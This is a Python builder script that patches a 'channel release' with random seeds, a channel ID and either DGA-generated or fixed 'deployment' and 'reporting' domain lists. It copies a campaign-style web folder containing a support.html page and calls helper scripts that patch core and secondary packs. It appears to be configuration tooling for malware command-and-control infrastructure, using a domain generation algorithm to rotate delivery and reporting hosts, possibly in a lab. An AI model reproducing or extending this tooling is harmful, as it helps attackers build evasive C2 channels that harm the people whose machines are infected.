#!/usr/bin/env python3 """All-in-one: patch secondary packs + core/daily (DGA seeds or fixed domain lists).""" from __future__ import annotations import argparse import json import secrets import shutil import subprocess import sys from pathlib import Path from _channel_patch import gen_channel_id, validate_channel_id TOOLS = Path(__file__).resolve().parent FRONTEND_ROOT = TOOLS.parent LAB_ROOT = FRONTEND_ROOT SOURCE_ROOT = FRONTEND_ROOT / "source" def gen_seed() -> str: """32 lowercase hex chars (fits the 32-byte seed slot).""" return secrets.token_hex(16) def run(cmd: list[str]) -> None: print("+", " ".join(cmd), flush=True) subprocess.run(cmd, cwd=str(LAB_ROOT), check=True) def _ignore_junk(_dir: str, names: list[str]) -> set[str]: skip = {"_bak", "__pycache__", ".DS_Store"} return {n for n in names if n in skip or n.endswith(".pyc")} def ensure_working_tree(root: Path, channel: str) -> None: """Ensure channel-scoped sync/ and web/ exist.""" camp = root / "web" sync = root / "sync" src_camp = SOURCE_ROOT / "web" src_sync = SOURCE_ROOT / "sync" if not src_camp.is_dir() or not (src_camp / "support.html").is_file() or not src_sync.is_dir(): raise SystemExit( f"missing source template.\n" f"expected: {src_camp}/support.html and {src_sync}" ) if not camp.is_dir() or not sync.is_dir(): print("=== bootstrap working tree from source/ ===") if not sync.is_dir(): shutil.copytree(src_sync, sync, symlinks=False, ignore=_ignore_junk) print(f"copied sync/ -> {sync}") if not camp.is_dir(): camp.parent.mkdir(parents=True, exist_ok=True) shutil.copytree(src_camp, camp, symlinks=False, ignore=_ignore_junk) print(f"copied web/ -> {camp}") if not camp.is_dir() or not sync.is_dir(): raise SystemExit(f"failed to bootstrap {camp} / {sync}") print() def main() -> int: parser = argparse.ArgumentParser( description=( "Patch type0x01 + core/daily. Use either DGA seeds (default random) " "or fixed --deployment-domains / --reporting-domains. The root is " "one channel release containing web/ + sync/." ) ) parser.add_argument("--deployment-seed", help="optional; default: random 32 hex") parser.add_argument("--reporting-seed", help="optional; default: random 32 hex") parser.add_argument( "--channel-id", help=( "32-hex channel id for type-0x01, core, and sync plugins " "(default: random)" ), ) parser.add_argument( "--deployment-domains", action="append", default=[], help="fixed Deployment hosts (comma-separated or repeatable)", ) parser.add_argument( "--reporting-domains", action="append", default=[], help="fixed Reporting hosts (comma-separated or repeatable)", ) parser.add_argument( "--root", type=Path, help="channel root with web/ + sync/ (required with --apply)", ) parser.add_argument( "--apply", action="store_true", help="write into --root web/ + sync/", ) parser.add_argument( "-n", "--count", type=int, default=5, help="DGA candidates to print when not using fixed domains (default 5)", ) args = parser.parse_args() if args.apply and not args.root: raise SystemExit("--apply requires --root ") if bool(args.deployment_domains) != bool(args.reporting_domains): raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither") channel = validate_channel_id(args.channel_id) if args.channel_id else gen_channel_id() if args.apply and args.root: ensure_working_tree(args.root.resolve(), channel) fixed_mode = bool(args.deployment_domains) dep = args.deployment_seed or gen_seed() rep = args.reporting_seed or gen_seed() if dep == rep: while rep == dep: rep = gen_seed() out_root = (args.root.resolve() / "out") if args.root else (LAB_ROOT / "out") out_root.mkdir(parents=True, exist_ok=True) seeds_path = out_root / "seeds.json" seeds_path.write_text( json.dumps( { "deployment_seed": dep, "reporting_seed": rep, "channel_id": channel, "mode": "fixed_domains" if fixed_mode else "dga", }, indent=2, ) + "\n" ) print("=== seeds / channel ===") print(f"mode: {'fixed_domains' if fixed_mode else 'dga'}") print(f"channel: {channel}") print(f"deployment: {dep}") print(f"reporting: {rep}") print(f"saved: {seeds_path}") if args.root: print(f"root: {args.root.resolve()}") print() py = sys.executable apply = ["--apply"] if args.apply else [] root = ["--root", str(args.root.resolve())] if args.root else [] channel_args = ["--channel-id", channel] domain_args: list[str] = [] if fixed_mode: for item in args.deployment_domains: domain_args += ["--deployment-domains", item] for item in args.reporting_domains: domain_args += ["--reporting-domains", item] print("=== 1/3 patch_secondary_packs ===") run( [ py, str(TOOLS / "patch_secondary_packs.py"), "--deployment-seed", dep, "--reporting-seed", rep, *channel_args, *domain_args, *root, *apply, ] ) print() print("=== 2/3 patch_core (core + sync plugins channel) ===") run( [ py, str(TOOLS / "patch_core.py"), "--deployment-seed", dep, "--reporting-seed", rep, *channel_args, *domain_args, *root, *apply, ] ) print() domains_path = out_root / "domains.json" if fixed_mode: manifest_path = out_root / "sync" / "MANIFEST.json" if not manifest_path.is_file(): manifest_path = LAB_ROOT / "out" / "sync" / "MANIFEST.json" manifest = json.loads(manifest_path.read_text()) domains = { "mode": "fixed_domains", "deployment": {"seed": dep, "domains": manifest["deployment_domains"]}, "reporting": {"seed": rep, "domains": manifest["reporting_domains"]}, } domains_path.write_text(json.dumps(domains, indent=2) + "\n") print("=== 3/3 fixed domains ===") else: print("=== 3/3 compute_dga_domains ===") result = subprocess.run( [ py, str(TOOLS / "compute_dga_domains.py"), "--deployment-seed", dep, "--reporting-seed", rep, "-n", str(args.count), "--json", ], cwd=str(LAB_ROOT), check=True, capture_output=True, text=True, ) domains = json.loads(result.stdout) domains["mode"] = "dga" domains_path.write_text(json.dumps(domains, indent=2) + "\n") (out_root / "channel.json").write_text( json.dumps({"channel_id": channel, "patched": True, "sync_rebuilt": True}, indent=2) + "\n" ) print() print("=== final domains ===") print(f"channel={channel}") print(f"deployment seed={dep}") for i, domain in enumerate(domains["deployment"]["domains"], 1): print(f" {i:03d} {domain}") print(f"reporting seed={rep}") for i, domain in enumerate(domains["reporting"]["domains"], 1): print(f" {i:03d} {domain}") print() print(f"seeds: {seeds_path}") print(f"domains: {domains_path}") if args.apply and args.root: print(f"web: {args.root.resolve() / 'web'}") if not args.apply: print("Note: outputs are under out/ only. Use new_project.py or --apply --root .") return 0 if __name__ == "__main__": raise SystemExit(main())